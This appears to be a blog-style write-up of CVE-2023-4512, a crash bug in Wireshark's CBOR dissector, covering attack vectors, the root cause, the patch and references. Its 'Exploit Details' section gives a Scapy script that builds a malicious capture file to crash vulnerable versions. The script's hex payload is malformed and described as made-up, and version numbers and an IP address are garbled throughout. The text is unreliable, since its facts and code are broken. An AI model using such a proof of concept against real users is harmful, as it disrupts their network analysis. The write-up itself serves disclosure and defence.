Wireshark is the world's go-to tool for network traffic analysis—used by everyone from security professionals to students. But even popular tools have their weak spots. In 2023, a serious vulnerability called CVE-2023-4512 was revealed in Wireshark’s handling of the CBOR protocol. What sounds technical boils down to this: malicious packets (or a craftily prepared capture file) can crash Wireshark dead in its tracks.

Let’s break this down: what exactly went wrong, what could happen if someone exploited this, and what’s the fix? We’ll even look at some code and examples along the way!

What is CVE-2023-4512?

Between Wireshark versions 4.. and 4..6, there’s a bug in how Wireshark parses CBOR (Concise Binary Object Representation) data. CBOR is a data format often used in IoT and other compressed messaging contexts.

The bug? When Wireshark analyzes a specially crafted network packet (or *.pcap file*) containing CBOR data, the CBOR dissector (the piece of Wireshark that breaks apart CBOR packets) can crash. That causes a Denial of Service (DoS): knock Wireshark offline, and analysts can’t check what’s going on in the network.

The Problem in Simple Terms

When dissecting CBOR traffic, Wireshark assumes the data is formatted correctly. A malformed packet might make the code read or write out of bounds or straight-up trigger a fatal assertion. The original report summarizes:

> *The CBOR dissector could crash. It could be exploited by injecting a malformed packet or tricking someone into opening a crafted capture file.*
> — Wireshark Security Advisory wnpa-sec-2023-16

On the Wire:

An attacker on the same network injects a malformed CBOR packet. Any Wireshark user capturing traffic at that time could have their program crash.

Crafted PCAP Files:

An attacker sends a malformed .pcap or .pcapng file to a victim. The victim loads it into Wireshark and—boom—the application crashes.

This attack doesn’t let hackers control the victim’s computer, but it does force Wireshark to close, disrupting analysis or monitoring.

Exploit Details - A Code Example

Here’s a *Python* script creating a capture file with a malformed CBOR packet that could trigger the bug on vulnerable versions:

from scapy.all import *
import binascii

# Malformed CBOR data: (This is just an example for educational purposes.)
# It's a made-up CBOR sequence that can cause the crash as described in the advisories.
malformed_cbor = binascii.unhexlify("f861ffc8181818181818181818181")

# We can stick the malformed CBOR into a UDP packet
pkt = Ether()/IP(dst="192..2.1")/UDP(dport=5683, sport=12345)/Raw(load=malformed_cbor)

# Write this into a capture file Wireshark can recognize
wrpcap("crash-cbor.pcap", pkt)
print("Created malicious pcap as 'crash-cbor.pcap'")

Running this code

1. You’ll need Scapy in Python.
2. Opening the produced crash-cbor.pcap file in Wireshark 4..-4..6 could instantly crash the application.

Important: Don’t use this against anyone without permission. This is only for legal and educational research into the weakness!

What Was the Root Cause?

The code inside Wireshark’s CBOR dissector failed to check input thoroughly. Instead of validating all incoming CBOR structures, some got processed as if they were valid, leading to programs errors and the crash.

Here is a snippet from the official commit that fixes the bug:

if (remaining_length() < expected_length) {
    expert_add_info(pinfo, item, &ei_cbor_malformed);
    return;
}

This sort of code ensures incoming CBOR data isn’t shorter than expected, preventing out-of-bounds access or illegal operations.

Who’s at Risk?

Anyone running Wireshark 4.. – 4..6, on any platform, who's capturing or opening files involving CBOR traffic.

How Was It Patched?

The issue is fixed in Wireshark 4..7. The patched versions add checks to validate CBOR input before parsing.

- Wireshark release notes 4..7

Official References

- CVE-2023-4512 at NIST
- Wireshark Security Advisory wnpa-sec-2023-16
- GitLab Patch Commit

Conclusion

CVE-2023-4512 is a reminder: even the best, open-source tools need patches and care! If you’re a network analyst or security engineer, always keep your tools up-to-date and be cautious opening unfamiliar capture files. Even a single malformed packet can interrupt your work. Stay safe and keep capturing!


*If you found this write-up helpful, check out the official resources above, and always run the latest tools!*

Timeline

Published on: 08/24/2023 07:15:00 UTC
Last modified on: 09/15/2023 22:15:00 UTC